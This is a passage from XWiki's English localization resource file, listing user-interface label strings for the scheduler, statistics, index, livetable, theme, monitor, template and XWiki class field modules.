don't have programming rights for the Scheduler space.\nxe.scheduler.jobs.pagename=Job page name\nxe.scheduler.job.scriptexplanation=The script is the code that will be executed when the job is triggered by the scheduler. It should be written in the Groovy language. The XWiki API is available through the **xwiki** and **context** pre-defined variables.\nxe.scheduler.job.backtolist=Back to the job list\nxe.scheduler.job.object=This sheet must be applied to a page that holds a scheduler job object.\nxe.scheduler.updateJobClassComment=Created/Updated Scheduler Job Class definition", "### Statistics application\nxe.statistics.activity=Activity Statistics\nxe.statistics.edits=Edits\nxe.statistics.views=Views\nxe.statistics.current.week=Current week activity\nxe.statistics.current.week.caps=Current Week Activity\nxe.statistics.current.month=Current month activity\nxe.statistics.current.month.caps=Current Month Activity\nxe.statistics.current.year=Current year activity\nxe.statistics.current.year.caps=Current Year Activity\nxe.statistics.alltime=All time activity\nxe.statistics.alltime.caps=All Time Activity\nxe.statistics.bestreferrers=Best Referrers\nxe.statistics.document=Page Statistics\nxe.statistics.contributors.leastactive=Least Active Contributors\nxe.statistics.homepage=statistics home page\nxe.statistics.disabled=The statistics module is disabled by default for improved performances. For more details, see {0}\nxe.statistics.notrecorded=No statistics recorded\nxe.statistics.referrer=Referrer\nxe.statistics.sources=Sources\nxe.statistics.user=User\nxe.statistics.changes=Changes\nxe.statistics.space=Space\nxe.statistics.hits=Hits\nxe.statistics.page=Page\nxe.statistics.contributors.mostactive=Most Active Contributors\nxe.statistics.pages.mostedited=Most Edited Pages\nxe.statistics.spaces.mostedited=Most Edited Spaces\nxe.statistics.pages.mostreferred=Most Referred Pages\nxe.statistics.pages.mostviewed=Most Viewed Pages\nxe.statistics.spaces.mostviewed=Most Viewed Spaces\nxe.statistics.referrerstats=Referrer Statistics\nxe.statistics.visit=Visit Statistics\nxe.statistics=Statistics\nxe.statistics.more=For more statistics, please give a look at:\nxe.statistics.module.disabled=The statistics module is disabled by default for improved performances.\nxe.statistics.to=to\nxe.statistics.module.settingvalue=It can be globally activated by setting the value of\nxe.statistics.inthe=in the\nxe.statistics.moredetails=configuration file. For more details, see\nxe.statistics.module.activating=Activating the statistics module makes the following information available to you:\nxe.statistics.module.muchmore=and much more!", "### Webdav application\nxe.webdav.initialize.activex=Could not initialize a required ActiveX object.\nxe.webdav.initialize.error=Error while initializing the share point editor.\nxe.webdav.install.foxwiki=A Firefox extension is required to perform this action, install it?\nxe.webdav.error=Ooops! Something went wrong... Please try again.\nxe.webdav.sorry=Sorry, to use this feature you need either Firefox or Internet Explorer.\nxe.webdav.info=This is a hosting page for webdav related functions.", "####################\n# Index Module\n####################", "platform.index.documents=Pages on this Wiki\nplatform.index=Index\nplatform.index.tree=Tree\nplatform.index.orphaned=Orphaned Pages\nplatform.index.orphanedResults=Orphaned Pages JSON Service\nplatform.index.attachments=Attachments\nplatform.index.attachmentsResults=Attachments JSON Service", "### Livetable Column Labels (translationPrefix == \"platform.index.\")\nplatform.index.doc.name=Page\nplatform.index.doc.location=Location\nplatform.index.doc.space=Space\nplatform.index.doc.date=Date\nplatform.index.doc.author=Last Author\nplatform.index.doc.title=Title\nplatform.index.doc.fullName=Page\nplatform.index.doc.objectCount=Object Count\nplatform.index._actions=Actions\nplatform.index.emptyvalue=\nplatform.index._likes=Likes", "### Livetable Column Labels (translationPrefix == \"platform.index.attachments.\")\nplatform.index.attachments.filename=Name\nplatform.index.attachments.doc.fullName=Location\nplatform.index.attachments.date=Date\nplatform.index.attachments.author=Author\nplatform.index.attachments.mimeType=Type\nplatform.index.attachments.filesize=Size\nplatform.index.attachments.emptyvalue=", "platform.index.documentsTrash=Deleted Pages\nplatform.index.trashDocumentsEmpty=No deleted pages", "### Livetable Column Labels (translationPrefix == \"platform.index.trashDocuments.\")\nplatform.index.trashDocuments.ddoc.fullName=Page\nplatform.index.trashDocuments.ddoc.title=Title\nplatform.index.trashDocuments.ddoc.date=Deleted on\nplatform.index.trashDocuments.ddoc.deleter=Deleted by\nplatform.index.trashDocuments.ddoc.batchId=Deleted Batch ID\nplatform.index.trashDocuments.actions=Actions", "platform.index.trashDocumentsActionsRestoreTooltip=Restore page\nplatform.index.trashDocumentsActionsRestoreText=[restore]\nplatform.index.trashDocumentsActionsCannotRestoreTooltip=The page cannot be restored to its original location because it has been recreated.\nplatform.index.trashDocumentsActionsCannotRestoreText=[cannot restore]\nplatform.index.trashDocumentsActionsCannotRestoreCausesOrphanedTranslationTooltip=The translation can not be restored to its original location before its original page is restored or re-created.\nplatform.index.trashDocumentsActionsDeleteTooltip=Permanently delete page\nplatform.index.trashDocumentsActionsDeleteText=[delete]\nplatform.index.trashDocumentsDeleteInProgress=Permanently deleting page...\nplatform.index.trashDocumentsDeleteDone=Page permanently deleted\nplatform.index.trashDocumentsDeleteFailed=Failed to delete:\nplatform.index.trashDocumentsDeleteInformation=Deleted by {0} on {1}", "platform.index.attachmentsTrash=Deleted Attachments\nplatform.index.trashAttachmentsEmpty=No deleted attachments", "### Livetable Column Labels (translationPrefix == \"platform.index.trashAttachments.\")\nplatform.index.trashAttachments.datt.filename=Attachment\nplatform.index.trashAttachments.datt.docName=Page\nplatform.index.trashAttachments.datt.date=Deleted on\nplatform.index.trashAttachments.datt.deleter=Deleted by\nplatform.index.trashAttachments.actions=Actions", "platform.index.trashAttachmentsActionsRestoreTooltip=Restore attachment\nplatform.index.trashAttachmentsActionsRestoreText=[restore]\nplatform.index.trashAttachmentsActionsCannotRestoreTooltip=The attachment cannot be restored to its original location because another file with the same name has been attached.\nplatform.index.trashAttachmentsActionsCannotRestoreText=[cannot restore]\nplatform.index.trashAttachmentsActionsDeleteTooltip=Permanently delete attachment\nplatform.index.trashAttachmentsActionsDeleteText=[delete]\nplatform.index.trashAttachmentsDeleteInProgress=Permanently deleting attachment...\nplatform.index.trashAttachmentsDeleteDone=Attachment permanently deleted\nplatform.index.trashAttachmentsDeleteFailed=Failed to delete:", "### Space Index Page\nplatform.index.spaceIndex=Space Index\nplatform.index.spaceIndexDescription=Pages in the {0} space:\nplatform.index.spaceIndexDocumentListCreate=Create a new page", "####################\n# Livetable Module\n####################", "platform.livetable.results=Livetable Results\nplatform.livetable.resultsMacros=Livetable Results Macros\nplatform.livetable._actions.delete=delete\nplatform.livetable._actions.rename=rename\nplatform.livetable._actions.rights=rights\nplatform.livetable._actions.copy=copy\nplatform.livetable._actions.edit=edit\nplatform.livetable.asyncActionInProgress=In progress...\nplatform.livetable.asyncActionDone=Done\nplatform.livetable.asyncActionFailed=Failed\nplatform.livetable.filtersTitle=Filter for the {0} column\nplatform.livetable.loading=Loading...\nplatform.livetable.tagsHelp=Click on one or more tags to filter the list\nplatform.livetable.tagsHelpCancel=and click again on a tag to cancel the filter\nplatform.livetable.environmentCannotLoadTableMessage=The environment prevents the table from loading data.\nplatform.livetable.docTitleComputedHint=Some pages have a computed title. Filtering and sorting by title will not work as expected for these pages.\nplatform.livetable.pagesizeLabel=per page of\nplatform.livetable.selectAll=All\nplatform.livetable.paginationPage=Page\nplatform.livetable.paginationPageTitle=Go to page {0}\nplatform.livetable.paginationPagePrevious=&#171; previous page\nplatform.livetable.paginationPagePrevTitle=Previous Page\nplatform.livetable.paginationPageNext=next page &#187;\nplatform.livetable.paginationPageNextTitle=Next Page\nplatform.livetable.paginationResultsNone=No results\nplatform.livetable.paginationResultsOne=One result\nplatform.livetable.paginationResultsSingle=Result <span class=\"currentResultsNo\">{0}</span> of <span class=\"totalResultsNo\">{1}</span>\nplatform.livetable.paginationResultsMany=Results <span class=\"currentResultsNo\">{0} - {1}</span> of <span class=\"totalResultsNo\">{2}</span>\nplatform.livetable.paginationResults=Results\nplatform.livetable.paginationResultsOf=out of", "####################\n# Daterange picker\n####################", "daterange.apply=Apply\ndaterange.clear=Clear\ndaterange.customRange=Custom Range\ndaterange.from=From\ndaterange.to=To\ndaterange.today=Today\ndaterange.yesterday=Yesterday\ndaterange.lastSevenDays=Last 7 Days\ndaterange.lastThirtyDays=Last 30 Days\ndaterange.thisMonth=This Month\ndaterange.lastMonth=Last Month", "####################\n# XWiki Enterprise Module\n####################", "xe.document.copy=Copy a page\nxe.document.copying=Copying page {0} to {1}\nxe.document.copy.source=Source Page:\nxe.document.copy.target=Target Page:\nxe.document.copy.language=Language:\nxe.document.copy.do=Copy", "### Color themes\nxe.themes.current=Current theme\nxe.themes.others=Other available themes\nxe.themes.useTheme=Use this theme\nxe.themes.themeSet=Color theme set to {0}.\nxe.themes.create=Create new theme\nxe.themes.create.nameLabel=Theme name:\nxe.themes.create.nameTip=Theme name...\n### Page titles\nxe.themes.colors.title=Color Themes\nxe.themes.colors.sheet.title=Sheet for color themes\nxe.themes.colors.class.title=Class for defining skin color themes\nxe.themes.colors.template.title=Template page for skin color themes\nxe.themes.colors.mapping.title=Color theme wizard property mapping\nxe.themes.colors.webColors.title=Default color palette for the scriptless wizard\n### Wizard\nxe.themes.colors.wizard.choose=Choose\nxe.themes.colors.wizard.mainMenu=Main Menu\nxe.themes.colors.wizard.logo=Wiki Logo\nxe.themes.colors.wizard.panel=Panel\nxe.themes.colors.wizard.panel.text=Panel Text\nxe.themes.colors.wizard.panel.link=Panel Link\nxe.themes.colors.wizard.panel.collapsed=Collapsed Panel\nxe.themes.colors.wizard.menu=Content Menu\nxe.themes.colors.wizard.menuEntry=entry\nxe.themes.colors.wizard.title=Title\nxe.themes.colors.wizard.informativeText=Informative Text\nxe.themes.colors.wizard.detailsText=Details Text\nxe.themes.colors.wizard.text=Content Text\nxe.themes.colors.wizard.link=Content Link\nxe.themes.colors.wizard.highlightedText=Highlighted Text\nxe.themes.colors.wizard.messageBox=Message Box\nxe.themes.colors.wizard.table=Table\nxe.themes.colors.wizard.table.data=data\nxe.themes.colors.wizard.button=Button\nxe.themes.colors.wizard.secondaryButton=Secondary action button\nxe.themes.colors.wizard.tab=tab\nxe.themes.colors.wizard.tab.text=Text\nxe.themes.colors.wizard.reset=Reset\nxe.themes.colors.wizard.close=Close\nxe.themes.colors.wizard.undo=Undo", "xe.xwiki.administration=Administration application\nxe.xwiki.administration.install=This page and its children contain internal content used by XWiki for its own use. It also currently contains the User Profile pages. You can administer your wiki through the {0}.", "### Monitor\nxe.monitor=XWiki Requests Status\nxe.monitor.url=URL:\nxe.monitor.startdate=StartDate:\nxe.monitor.state=State:\nxe.monitor.alive=Alive:\nxe.monitor.interrupt=Interrupting\nxe.monitor.consolidateddata=Consolidated Data\nxe.monitor.duration=Duration:\nxe.monitor.requests=Requests:\nxe.monitor.duration.small=duration:\nxe.monitor.calls=Calls:\nxe.monitor.average=Average:\nxe.monitor.ms=ms\nxe.monitor.requests.active=Active requests\nxe.monitor.requests.currentlyrunning=Currently running requests. There is always at least the request for this page.\nxe.monitor.requests.size=Active requests size:\nxe.monitor.requests.page=Page:\nxe.monitor.thread=Thread:\nxe.monitor.requests.unfinished=Latest unfinished requests\nxe.monitor.requests.unfinished.description=These are requests that didn't reach \"endRequest\", but where cleaned-up by a reuse of threads. Maximum 32 requests are kept in memory.\nxe.monitor.requests.active.size=Active requests size:\nxe.monitor.requests.latest=Latest requests\nxe.monitor.requests.latest.description=Latest requests that finished properly. Only {0} requests max are kept in memory.\nxe.monitor.enddate=EndDate:\nxe.monitor.requests.number=Number of requests displayed:\nxe.monitor.disabled=The Monitor plugin is disabled. Please enable it by setting <tt>xwiki.monitor=1</tt> in your <tt>xwiki.cfg</tt> configuration file.", "xe.templateprovider.name=Provider Name\nxe.templateprovider.name.example=Example: My Template Provider\nxe.templateprovider.templatename=Template Name\nxe.templateprovider.templatename.example=Example: My Template\nxe.templateprovider.templatename.info=You can fill in a translation key to allow internationalization of this template name.\nxe.templateprovider.template=Template to use\nxe.templateprovider.template.edit=Edit\nxe.templateprovider.template.example=Example: XWiki.MyTemplate\nxe.templateprovider.spaces=List of locations where the template must be available\nxe.templateprovider.spaces.all=The template is available from any location\nxe.templateprovider.spaces.info=If no location is selected, the template will be available from any location\nxe.templateprovider.backtoadmin=See all templates\nxe.templateprovider.action=Action on create\nxe.templateprovider.action.info=The action to execute when the create button is pushed, you can configure here whether the new page is saved before it is opened for edition or not.\nxe.templateprovider.terminal=Terminal Page\nxe.templateprovider.terminal.hint=Whether or not to create terminal documents by default when using this template provider.", "xe.welcome.edit=Edit welcome message", "XWiki.TemplateProviderClass_type_page=Page\nXWiki.TemplateProviderClass_type_space=Space homepage\nXWiki.TemplateProviderClass_action_edit=Edit\nXWiki.TemplateProviderClass_action_saveandedit=Save and Edit\nXWiki.TemplateProviderClass_action_saveandview=Save and View", "admin.templates=Page Templates\nadmin.templates.description=Settings for the creation of page templates.\nadmin.templates.providerslist=Available Template Providers\nadmin.templates.createprovider=Create a Template Provider\nadmin.templates.createprovider.space=Space:\nadmin.templates.createprovider.page=Page:\nadmin.templates.createprovider.defaultdocname=MyTemplateProvider\nadmin.templates.createprovider.create=Create", "####################\n# XWiki Classes\n####################", "### Blog.BlogClass (blog application)\nBlog.BlogClass_title=Blog title\nBlog.BlogClass_description=Description\nBlog.BlogClass_displayType=Index display\nBlog.BlogClass_itemsPerPage=Items per page (only in the Paginated display mode)\nBlog.BlogClass_blogType=Blog type\nBlog.BlogClass_blogType_local=Space blog (aggregates posts from its space only)\nBlog.BlogClass_blogType_global=Global blog (aggregates posts from the entire wiki)\nBlog.BlogPostClass_displayType_paginated=Paginated\nBlog.BlogPostClass_displayType_weekly=Group posts weekly\nBlog.BlogPostClass_displayType_monthly=Group posts monthly\nBlog.BlogPostClass_displayType_all=Show all posts\nBlog.BlogPostClass_title=Title\nBlog.BlogPostClass_content=Content\nBlog.BlogPostClass_extract=Extract\nBlog.BlogPostClass_category=Category\nBlog.BlogPostClass_hidden=Is hidden\nBlog.BlogPostClass_published=Is published\nBlog.BlogPostClass_publishDate=Publish date\nBlog.CategoryClass_name=Name\nBlog.CategoryClass_description=Description", "### Panels.PanelClass (panel application)\nPanels.PanelClass_name=Name\nPanels.PanelClass_type=Panel type\nPanels.PanelClass_description=Description\nPanels.PanelClass_content=Content\nPanels.PanelClass_category=Category\nPanels.PanelClass_async_enabled=Asynchronous rendering\nPanels.PanelClass_async_cached=Cached\nPanels.PanelClass_async_context=Context elements", "### XWiki.AggregatorURLClass (watch application)\nXWiki.AggregatorURLClass_name=Name\nXWiki.AggregatorURLClass_url=URL\nXWiki.AggregatorURLClass_imgurl=Image URL\nXWiki.AggregatorURLClass_date=date\nXWiki.AggregatorURLClass_nb=nb", "### XWiki.FeedEntryClass (watch application)\nXWiki.FeedEntryClass_title=Title\nXWiki.FeedEntryClass_author=Author\nXWiki.FeedEntryClass_feedurl=Feed URL\nXWiki.FeedEntryClass_feedname=Feed Name\nXWiki.FeedEntryClass_url=URL\nXWiki.FeedEntryClass_category=Category\nXWiki.FeedEntryClass_content=Content\nXWiki.FeedEntryClass_fullContent=Full Content\nXWiki.FeedEntryClass_xml=XML\nXWiki.FeedEntryClass_date=Date\nXWiki.FeedEntryClass_flag=Flag\nXWiki.FeedEntryClass_read=Read\nXWiki.FeedEntryClass_tags=Tags", "### XWiki.JavaScriptExtension (skinx plugin)\nXWiki.JavaScriptExtension_name=Name\nXWiki.JavaScriptExtension_code=Code\nXWiki.JavaScriptExtension_use=Use this extension\nXWiki.JavaScriptExtension_parse=Parse content\nXWiki.JavaScriptExtension_cache=Caching policy", "### XWiki.MessageStreamConfig (XE)\nXWiki.MessageStreamConfig_active=Enable the message stream\nXWiki.MessageStreamConfig_active.hint=Whether the message stream is active or not.\nXWiki.MessageStreamConfig_visibilityLevel_everyone=Everyone\nXWiki.MessageStreamConfig_visibilityLevel_followers=Followers\nXWiki.MessageStreamConfig_visibilityLevel_group=Group\nXWiki.MessageStreamConfig_visibilityLevel_user=User", "### XWiki.StyleSheetExtension (skinx plugin)\nXWiki.StyleSheetExtension_name=Name\nXWiki.StyleSheetExtension_code=Code\nXWiki.StyleSheetExtension_use=Use this extension\nXWiki.StyleSheetExtension_parse=Parse content\nXWiki.StyleSheetExtension_cache=Caching policy", "### XWiki.Mail (mailsender plugin)\nXWiki.Mail_subject=Subject\nXWiki.Mail_language=Language\nXWiki.Mail_text=Text\nXWiki.Mail_html=HTML", "### XWiki.ResetPasswordRequestClass (administration application)\nXWiki.ResetPasswordRequestClass_verification=Request verification string", "### XWiki.SchedulerJobClass (scheduler plugin)\nXWiki.SchedulerJobClass_jobName=Job Name\nXWiki.SchedulerJobClass_jobClass=Job Class\nXWiki.SchedulerJobClass_status=Status\nXWiki.SchedulerJobClass_cron=Cron Expression\nXWiki.SchedulerJobClass_script=Job Script\nXWiki.SchedulerJobClass_jobDescription=Job Description", "### XWiki.TagClass (core)\nXWiki.TagClass_tags=Tags", "### XWiki.WatchListClass (watchlist plugin)\nXWiki.WatchListClass_interval=Email notifications interval\nXWiki.WatchListClass_spaces=Space list, comma separated\nXWiki.WatchListClass_documents=Page list, comma separated\nXWiki.WatchListClass_query=Query (HQL)\nXWiki.WatchListClass_automaticwatch=Automatic page watching\nXWiki.WatchListClass_automaticwatch_default=Default\nXWiki.WatchListClass_automaticwatch_NONE=Disabled\nXWiki.WatchListClass_automaticwatch_ALL=Any modification\nXWiki.WatchListClass_automaticwatch_MAJOR=Major modifications\nXWiki.WatchListClass_automaticwatch_NEW=New pages", "### XWiki.XWikiComments (core)\nXWiki.XWikiComments_author=Author\nXWiki.XWikiComments_highlight=Highlighted Text\nXWiki.XWikiComments_date=Date\nXWiki.XWikiComments_comment=Comment\nXWiki.XWikiComments_replyto=Reply To", "### XWiki.XWikiGlobalRights (core)\nXWiki.XWikiGlobalRights_allow=Allow/Deny\nXWiki.XWikiGlobalRights_groups=Groups\nXWiki.XWikiGlobalRights_levels=Levels\nXWiki.XWikiGlobalRights_users=Users", "### XWiki.XWikiGroups (core)\nXWiki.XWikiGroups_member=Member", "### XWiki.XWikiPreferences (core)\nXWiki.XWikiPreferences_skin=Skin\nXWiki.XWikiPreferences_colorTheme=Color theme\nXWiki.XWikiPreferences_accessibility=Enable extra accessibility features\nXWiki.XWikiPreferences_authenticate_view=Authenticated View\nXWiki.XWikiPreferences_webcopyright=Copyright\nXWiki.XWikiPreferences_plugins=Plugins\nXWiki.XWikiPreferences_authenticate_edit=Authenticate On Edit\nXWiki.XWikiPreferences_meta=HTTP Meta Info\nXWiki.XWikiPreferences_title=Title\nXWiki.XWikiPreferences_version=Version\nXWiki.XWikiPreferences_validation_email_content=Validation email Content\nXWiki.XWikiPreferences_confirmation_email_content=Confirmation email Content\nXWiki.XWikiPreferences_stylesheet=Stylesheet\nXWiki.XWikiPreferences_stylesheets=Stylesheets\nXWiki.XWikiPreferences_multilingual=Multilingual\nXWiki.XWikiPreferences_default_language=Default Language\nXWiki.XWikiPreferences_editor=Default Editor\nXWiki.XWikiPreferences_core.defaultDocumentSyntax=Default page syntax\nXWiki.XWikiPreferences_use_email_verification=Use email Verification\nXWiki.XWikiPreferences_backlinks=Backlinks\nXWiki.XWikiPreferences_invitation_email_content=Invitation email content\nXWiki.XWikiPreferences_registration_anonymous=Anonymous\nXWiki.XWikiPreferences_registration_registered=Registered\nXWiki.XWikiPreferences_edit_anonymous=Anonymous\nXWiki.XWikiPreferences_edit_registered=Registered\nXWiki.XWikiPreferences_comment_anonymous=Anonymous\nXWiki.XWikiPreferences_comment_registered=Registered\nXWiki.XWikiPreferences_leftPanels=Panels displayed on the left\nXWiki.XWikiPreferences_leftPanels.hint=A comma separated list of panels to display on the left column. E.g.: Panels.Applications, Panels.Navigation\nXWiki.XWikiPreferences_rightPanels=Panels displayed on the right\nXWiki.XWikiPreferences_rightPanels.hint=A comma separated list of panels to display on the right column.\nXWiki.XWikiPreferences_showLeftPanels=Display the left panel column\nXWiki.XWikiPreferences_showRightPanels=Display the right panel column\nXWiki.XWikiPreferences_leftPanelsWidth=Width of the left panel column\nXWiki.XWikiPreferences_leftPanelsWidth.hint=Choose the size of the left panel column.\nXWiki.XWikiPreferences_rightPanelsWidth=Width of the right panel column\nXWiki.XWikiPreferences_rightPanelsWidth.hint=Choose the size of the right panel column.\nXWiki.XWikiPreferences_leftPanelsWidth_Small=Small\nXWiki.XWikiPreferences_leftPanelsWidth_Medium=Medium\nXWiki.XWikiPreferences_leftPanelsWidth_Large=Large\nXWiki.XWikiPreferences_rightPanelsWidth_Small=Small\nXWiki.XWikiPreferences_rightPanelsWidth_Medium=Medium\nXWiki.XWikiPreferences_rightPanelsWidth_Large=Large\nXWiki.XWikiPreferences_languages=Supported languages\nXWiki.XWikiPreferences_tags=Activate the tagging\nXWiki.XWikiPreferences_parent=Parent space\nXWiki.XWikiPreferences_documentBundles=Internationalization Document Bundles\nXWiki.XWikiPreferences_upload_maxsize=Maximum Upload Size\nXWiki.XWikiPreferences_xwiki.title.mandatory=Make page title field mandatory\nXWiki.XWikiPreferences_showannotations=Show page annotations\nXWiki.XWikiPreferences_showcomments=Show page comments\nXWiki.XWikiPreferences_showattachments=Show page attachments\nXWiki.XWikiPreferences_showhistory=Show page history\nXWiki.XWikiPreferences_showinformation=Show page information\nXWiki.XWikiPreferences_editcomment=Enable version summaries\nXWiki.XWikiPreferences_editcomment_mandatory=Make version summaries mandatory\nXWiki.XWikiPreferences_minoredit=Enable minor edits\nXWiki.XWikiPreferences_ldap=Ldap\nXWiki.XWikiPreferences_ldap.hint=Enable or not LDAP authentication for this wiki. If enabled and configured properly, a local user will be created whenever a LDAP user visit this wiki for the first time.\nXWiki.XWikiPreferences_ldap_server=Ldap server address\nXWiki.XWikiPreferences_ldap_port=Ldap server port\nXWiki.XWikiPreferences_ldap_bind_DN=Ldap login matching\nXWiki.XWikiPreferences_ldap_bind_DN.hint=LDAP login. Leave empty for anonymous access, otherwise specify full dn. {0} is replaced with the user name, {1} with the password.\nXWiki.XWikiPreferences_ldap_bind_pass=Ldap password matching\nXWiki.XWikiPreferences_ldap_bind_pass.hint=Ldap password matching. Use in combination with Ldap login matching.\nXWiki.XWikiPreferences_ldap_validate_password=Validate Ldap user/password\nXWiki.XWikiPreferences_ldap_user_group=Restrict to group\nXWiki.XWikiPreferences_ldap_user_group.hint=Only members of the following group will be verified in the directory. If you leave empty, all users that are found after searching starting from the base_DN will be verified.\nXWiki.XWikiPreferences_ldap_exclude_group=Ldap group to exclude\nXWiki.XWikiPreferences_ldap_exclude_group.hint=If not empty, the mentionned group will never be verified against in the directory.\nXWiki.XWikiPreferences_ldap_base_DN=Ldap base DN\nXWiki.XWikiPreferences_ldap_UID_attr=Ldap UID attribute name\nXWiki.XWikiPreferences_ldap_UID_attr.hint=Specifies the LDAP attribute containing the identifier to be used as the XWiki name. The default is \"cn\".\nXWiki.XWikiPreferences_ldap_fields_mapping=Ldap user fields mapping\nXWiki.XWikiPreferences_ldap_update_user=Update user from LDAP after login\nXWiki.XWikiPreferences_ldap_update_user.hint=If not, the mapped attributes from LDAP to XWiki will be updated only when the user is created when login for the first time.\nXWiki.XWikiPreferences_ldap_update_photo=Update user photo from LDAP\nXWiki.XWikiPreferences_ldap_update_photo.hint=If enabled xwiki avatar will be synchronized with LDAP\nXWiki.XWikiPreferences_ldap_photo_attachment_name=Attachment name used to save LDAP photo\nXWiki.XWikiPreferences_ldap_photo_attachment_name.hint=Filename of LDAP photo that will be used in xwiki profile\nXWiki.XWikiPreferences_ldap_photo_attribute=Ldap photo attribute name\nXWiki.XWikiPreferences_ldap_photo_attribute.hint=Specifies the LDAP attribute containing photo image\nXWiki.XWikiPreferences_ldap_group_mapping=Ldap groups mapping\nXWiki.XWikiPreferences_ldap_groupcache_expiration=LDAP groups cache expiration\nXWiki.XWikiPreferences_ldap_groupcache_expiration.hint=Time in seconds after which the list of members in a group is refreshed from LDAP. The default is 21600 (6 hours).\nXWiki.XWikiPreferences_ldap_mode_group_sync=When to synchronize LDAP groups\nXWiki.XWikiPreferences_ldap_mode_group_sync_always=At each authentication of a user\nXWiki.XWikiPreferences_ldap_mode_group_sync_create=Upon creation of a user\nXWiki.XWikiPreferences_ldap_trylocal=Try local login\nXWiki.XWikiPreferences_ldap_trylocal.hint=If LDAP authentication fails, try XWiki DB authentication with the same credentials. Default is Yes.\nXWiki.XWikiPreferences_dateformat=Date format\nXWiki.XWikiPreferences_guest_comment_requires_captcha=Enable CAPTCHA in comments for unregistered users\nXWiki.XWikiPreferences_timezone=Timezone\nXWiki.XWikiPreferences_timezone_default=System Default", "### XWiki.XWikiRights (core)\nXWiki.XWikiRights_allow=Allow/Deny\nXWiki.XWikiRights_groups=Groups\nXWiki.XWikiRights_levels=Levels\nXWiki.XWikiRights_users=Users", "### XWiki.XWikiUsers (core)\nXWiki.XWikiUsers_active=Active\nXWiki.XWikiUsers_password=Password\nXWiki.XWikiUsers_email=Email\nXWiki.XWikiUsers_comment=About\nXWiki.XWikiUsers_first_name=First Name\nXWiki.XWikiUsers_last_name=Last Name\nXWiki.XWikiUsers_fullname=Full Name\nXWiki.XWikiUsers_validkey=Validation Key\nXWiki.XWikiUsers_default_language=Default Language\nXWiki.XWikiUsers_company=Company\nXWiki.XWikiUsers_blog=Blog\nXWiki.XWikiUsers_blogfeed=Blog Feed\nXWiki.XWikiUsers_imtype=IM Type\nXWiki.XWikiUsers_imaccount=IM Account\nXWiki.XWikiUsers_city=City\nXWiki.XWikiUsers_country=Country\nXWiki.XWikiUsers_editor=Default Editor\nXWiki.XWikiUsers_skin=Skin\nXWiki.XWikiUsers_pageWidth=Preferred page width\nXWiki.XWikiUsers_avatar=Avatar\nXWiki.XWikiUsers_usertype=User Type\nXWiki.XWikiUsers_usertype_Simple=Simple\nXWiki.XWikiUsers_usertype_Advanced=Advanced\nXWiki.XWikiUsers_phone=Phone\nXWiki.XWikiUsers_address=Address\nXWiki.XWikiUsers_extensionConflictSetup=Enable extension conflict setup", "### XWiki.XWikiSkins (core)\nXWiki.XWikiSkins_name=Name\nXWiki.XWikiSkins_style.css=Style\nXWiki.XWikiSkins_header.vm=Header\nXWiki.XWikiSkins_footer.vm=Footer\nXWiki.XWikiSkins_view.vm=View\nXWiki.XWikiSkins_viewheader.vm=View Header\nXWiki.XWikiSkins_pagemenu.vm=Page Menu\nXWiki.XWikiSkins_comments2.vm=Comments\nXWiki.XWikiSkins_edit.vm=Edit\nXWiki.XWikiSkins_baseskin=Base Skin\nXWiki.XWikiSkins_logo=Logo", "### XWiki.Registration (administration application)\nXWiki.Registration_heading=Registration page heading\nXWiki.Registration_welcomeMessage=Welcome message\nXWiki.Registration_liveValidation_enabled=Enable Javascript field validation\nXWiki.Registration_liveValidation_defaultFieldOkMessage=Default field okay message\nXWiki.Registration_loginButton_enabled=Enable login button\nXWiki.Registration_loginButton_autoLogin_enabled=Enable automatic login\nXWiki.Registration_defaultRedirect=Redirect here after registration\nXWiki.Registration_requireCaptcha=Require CAPTCHA to register\nXWiki.Registration_registrationSuccessMessage=Registration Successful Message", "### XWiki.InvitationMail (Invitation Application) Email XObject\nInvitation.InvitationMailClass_messageID=Email message identifier\nInvitation.InvitationMailClass_messageGroupID=Message group identifier\nInvitation.InvitationMailClass_recipient=Email address which this message was sent to\nInvitation.InvitationMailClass_sendingUser=User who sent the message\nInvitation.InvitationMailClass_subjectLine=Subject line\nInvitation.InvitationMailClass_messageBody=Message content\nInvitation.InvitationMailClass_status=Number indicating the message status\nInvitation.InvitationMailClass_sentDate=Date message was sent\nInvitation.InvitationMailClass_memo=Memo attached to this message\nInvitation.InvitationMailClass_history=Activity history for this invitation\nInvitation.InvitationMailClass_messageBodyPlain=Plain message for non HTML email clients", "### XWiki.WebHome (Invitation application) Configuration\nInvitation.WebHome_from_address=Email \"from\" address\nInvitation.WebHome_smtp_server_password=Smtp password\nInvitation.WebHome_smtp_server_username=Smtp username\nInvitation.WebHome_smtp_port=Smtp port\nInvitation.WebHome_smtp_server=Smtp server host name\nInvitation.WebHome_javamail_extra_props=Javamail extra properties\nInvitation.WebHome_subjectLineTemplate=Email subject line template\nInvitation.WebHome_messageBodyTemplate=Email message body HTML template\nInvitation.WebHome_messageBodyTemplatePlain=Message body plain text template\nInvitation.WebHome_emailClass=Email message XClass\nInvitation.WebHome_emailContainer=Page containing email XObjects\nInvitation.WebHome_emailRegex=Regular expression for validating email addresses\nInvitation.WebHome_allowUsersOfOtherWikis=Let users of other wikis send\nInvitation.WebHome_usersMayPersonalizeMessage=Let users personalize messages\nInvitation.WebHome_usersMaySendToMultiple=Let users send to multiple addresses", "### XWiki.WysiwygEditorConfigClass (administration application)\nXWiki.WysiwygEditorConfigClass_sourceEditorEnabled=Source editor enabled\nXWiki.WysiwygEditorConfigClass_plugins=Plugins\nXWiki.WysiwygEditorConfigClass_menuBar=Menu Bar\nXWiki.WysiwygEditorConfigClass_toolBar=Tool Bar\nXWiki.WysiwygEditorConfigClass_cleanPaste=Clean paste content automatically\nXWiki.WysiwygEditorConfigClass_attachmentSelectionLimited=Attachment selection limited\nXWiki.WysiwygEditorConfigClass_externalImages=External images\nXWiki.WysiwygEditorConfigClass_imageSelectionLimited=Image selection limited\nXWiki.WysiwygEditorConfigClass_colorPalette=Color palette\nXWiki.WysiwygEditorConfigClass_colorsPerRow=Colors per row\nXWiki.WysiwygEditorConfigClass_fontNames=Font names\nXWiki.WysiwygEditorConfigClass_fontSizes=Font sizes\nXWiki.WysiwygEditorConfigClass_styleNames=Style names", "####################\n# XWiki Classes End\n####################", "###Dashboard translations\ndashboard.gadget.actions.delete.confirm=Are you sure you want to delete this gadget?\ndashboard.gadget.actions.delete.inProgress=Deleting gadget...\ndashboard.gadget.actions.delete.done=Gadget deleted\ndashboard.gadget.actions.delete.failed=Failed to delete gadget:\ndashboard.gadget.actions.delete.tooltip=Remove this gadget from the dashboard\ndashboard.gadget.actions.edit.tooltip=Edit this gadget's parameters\ndashboard.gadget.actions.edit.error.notmacro=The parameters of this gadget cannot be 